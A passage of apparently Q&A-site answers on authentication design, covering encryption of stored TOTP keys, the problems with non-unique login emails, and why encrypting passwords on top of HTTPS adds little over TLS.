Yes. Encrypt the plain-text TOTP key on the application side and save the cipher-text into the database. If you cannot trust the application either, use a HSM (hardware security module) or create and use a software version of it.


Email used to log in but doesn't have to be unique. Issues?

I'm assuming that in the case of duplicate accounts, different passwords are used as the means of distinguishing between these accounts?

i.e. if there are two bob@example.coms, one with password foo and one with bar then the password will be checked to find out which account to log the user into.

Problems with this approach would be:

If one user with an email address sets their password to the same as another account with that email address, then there is no way to warn the user without revealing that the password matches another account.
Account lockout policies cannot identify the account to lockout because the password has not been entered incorrectly.
Using a secure password storage algorithm such as bcrypt becomes impossible because there is no unique index on which to find the salt in order to determine if you have a password match. Each matching account would have to be tested, leading to long delays on login as each password hash is attempted.
Any password guessing attack against a user account has multiple attempts to succeed from each request, aiding an attacker.


Is encryption of passwords needed for an HTTPS website?

Encrypting the password before sending it over HTTPS probably doesn't add more security.

Consider: how is the password encrypted by the sender, and how is it decrypted by the receiver?
If you use a symmetrical algorithm, then how did they negotiate the key? If the key is built into the client, anyone who reverse engineers the client will have access to it.
If you use an asymmetrical (i.e. public-key) algorithm, either to encrypt the key or to negotiate a key for a symmetrical algorithm... you're just doing the same that SSL/TLS is doing for you.

Simply use the highest available version of TLS, with the longest key that your server and clients both have available.

Just for completeness: HTTPS uses SSL/TLS. It originally stood for "HTTP over SSL". Nowadays SSL has been found vulnerable, and you should use its successor TLS.

On the server, you make a hash of (password + salt value). There is a lot of information about how to do safe web-based authentication on Stack Overflow's Definitive Guide to Form-Based Website Authentication.